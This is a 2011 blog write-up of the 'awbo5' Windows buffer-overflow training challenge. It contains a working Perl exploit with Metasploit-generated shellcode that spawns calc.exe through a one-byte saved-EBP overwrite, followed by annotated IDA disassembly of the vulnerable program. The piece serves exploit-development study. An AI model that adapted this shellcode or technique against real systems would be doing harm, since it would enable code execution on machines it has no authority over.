Monday, September 5, 2011

Advanced Windows Buffer Overflows: awbo5

#!/usr/bin/perl

# must be 1024 bytes. every 4 character blocks, atleast 1 character must be different

my $filler = "AB" x 45; # offset found via msf3's pattern_create/offset

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

my $filler2 = "AB" x ((1024 - length($filler) - length($shellcode))/2);

$filler2 .= "A";

# overwrite main's saved ebp so that on main's function epilog when ebp is copied to esp
# the ret will pop off an address that contains the shellcode
my $ebp = "\xA8";

print $filler.$shellcode.$filler2.$ebp;


There is only 1 overflow byte to work with here. The Frame Pointer Overwrite by klog came in handy.

Some restrictions that need to be overcome:

* 1024 + 1 bytes of input are copied over the stack.
* In every 4 character block, at least 1 character must be different--AAAA won't work, but ABAB will.
* There must be at least 1 command line argument
* The first argument must contain the length of the buffer copied to the stack--1025

The overflow allows me to overwrite the least significant byte of main's saved ebp. This allows access to 0012FFxx.

main's function epilog looks like this

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn

I put a breakpoint right before main returns and start digging through memory. 0012FFAC contains an address that points to a chunk of input that was copied to the stack.

If I overwrite the LSB of main's saved ebp with \xA8, on main's return, esp will point to 0012FFAC which points to a buffer I control.

Using Metasploits pattern_create/offset, I was able to determine where in the input buffer 0012FFAC points to. I kept a few "AB"s (which turn into NOPs) for good measure and add the shellcode. On execution, a lovely calc.exe pops up.

Here are my notes on IDA's output:

; int __cdecl main(int argc,const char **argv,const char *envp)
_main proc near

argc= dword ptr 8
argv= dword ptr 0Ch ; 12
envp= dword ptr 10h ; 16

; function prologue
push ebp
mov ebp, esp
; stack space, 12 bytes
sub esp, 0Ch
; save some registers to stack
push ebx
push esi
push edi
int 3 ; Trap to Debugger
; copy contents of ebp+argv into eax
mov eax, [ebp+argv]
copy contents of eax+4 into ecx
mov ecx, [eax+4]
; copy ecx to 407a8c
mov argv1_407A8C, ecx
; call func() -- reads/verifies input
call sub_401065
; copy return value into ret_counter
mov ret_counter_407A84, eax
; copy ret_counter into edx
mov edx, ret_counter_407A84
; push onto stack
push edx
; push format string onto stack
push offset aGotDCharacers ; "Got %d characers!\n"
; call printf()
call _printf
; clean up function arguments from stack
add esp, 8
; compare argc to 2
cmp [ebp+argc], 2
; if less than 2, jump
jl short loc_401054
; push 10--base--onto stack
push 0Ah ; int
; push 0--endptr--onto stack
push 0 ; char **
; copy argv1 into eax
mov eax, argv1_407A8C
; push address onto stack--nptr
push eax ; char *
; call strtoul()
call _strtoul
; clean up function arguments from stack
add esp, 0C
; compare ret_counter to eax--"argv1"
cmp ret_counter_407A84, eax
; if zero, jump
jz short loc_40105C

loc_401054: ; uExitCode
; push -1 onto stack
push 0FFFFFFFFh
; call ExitProcess()
call ds:ExitProcess

loc_40105C:
; clear eax
xor eax, eax
; restore registers
pop edi
pop esi
pop ebx
; function epilog
mov esp, ebp
pop ebp
; return
retn
_main endp



; Attributes: bp-based frame

sub_401065 proc near

var_404= dword ptr -404h ; 1028
var_400= byte ptr -400h ; 1024
var_3FF= byte ptr -3FFh ; 1023
var_3FE= byte ptr -3FEh ; 1022
var_3FD= byte ptr -3FDh ; 1021
; function prologue
push ebp
mov ebp, esp
; stack space, 1028 bytes
sub esp, 404h
; zero memory location, 407a90
mov counter_407A90, 0

loc_401078:
; compare memory location, 407a90, to 1024
cmp counter_407A90, 400h
; jump if memory location is greater than 1024
ja short loc_4010F3
; copy cnt into eax
mov eax, input_407048._cnt
; subtract 1 from cnt
sub eax, 1
; copy new cnt back to memory
mov input_407048._cnt, eax
; compare cnt with 0
cmp input_407048._cnt, 0
; if cnt is less than 0, jump
jl short loc_4010BE
; copy input pointer to ecx
mov ecx, input_407048._ptr
; copy character it points to into edx
movsx edx, byte ptr [ecx]
; keep lsb
and edx, 0FFh
; copy character to stack
mov [ebp+var_404], edx
; copy input pointer to eax
mov eax, input_407048._ptr
; increment
add eax, 1
; copy back to memory
mov input_407048._ptr, eax
; jump
jmp short loc_4010D1

; read in input, called once
loc_4010BE: ; FILE *
; push FILE * onto stack
push offset input_407048
; call filbuf()
call __filbuf
; clean up function argument from stack
add esp, 4
; move first character of input to ebp-1028
mov [ebp+var_404], eax

loc_4010D1:
; copy counter into ecx
mov ecx, counter_407A90
; copy ebp_1028, character from input into lsb edx
mov dl, byte ptr [ebp+var_404]
; copy character into ebp+counter-1024, move character to stack
mov [ebp+ecx+var_400], dl
; copy counter into eax
mov eax, counter_407A90
; increment counter
add eax, 1
; move counter back to memory
mov counter_407A90, eax
; jump
jmp short loc_401078

loc_4010F3:
; copy zero into memory location
mov cmp_counter_407A88, 0
; jump
jmp short loc_40110E

loc_4010FF:
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; increment
add ecx, 1
; copy back to memory
mov cmp_counter_407A88, ecx

loc_40110E:
; copy 407A88 into edx
mov edx, cmp_counter_407A88
; compare against counter
cmp edx, counter_407A90
; if 407A88 is >= counter, jump
jnb short loc_401187
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy first character into ecx
movsx ecx, [ebp+eax+var_400]
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy second character into eax
movsx eax, [ebp+edx+var_3FF]
; compare
cmp ecx, eax
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy second character into edx
movsx edx, [ebp+ecx+var_3FF]
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy third character into ecx
movsx ecx, [ebp+eax+var_3FE]
; compare
cmp edx, ecx
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy third character into eax
movsx eax, [ebp+edx+var_3FE]
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy fourth character into edx
movsx edx, [ebp+ecx+var_3FD]
; compare
cmp eax, edx
; if not zero, jump
jnz short loc_401182
; push -1 onto stack
push 0FFFFFFFFh ; uExitCode
; ExitProcess()
call ds:ExitProcess

loc_401182:
; jump
jmp loc_4010FF

loc_401187:
; copy counter into eax, return value
mov eax, counter_407A90
; function epilog
mov esp, ebp
pop ebp
retn
sub_401065 endP

1 comment:

  1. I cant seem to have same thing that you have. my oo12ffac doesn't point to my shellcode. What OS did you use?

    ReplyDelete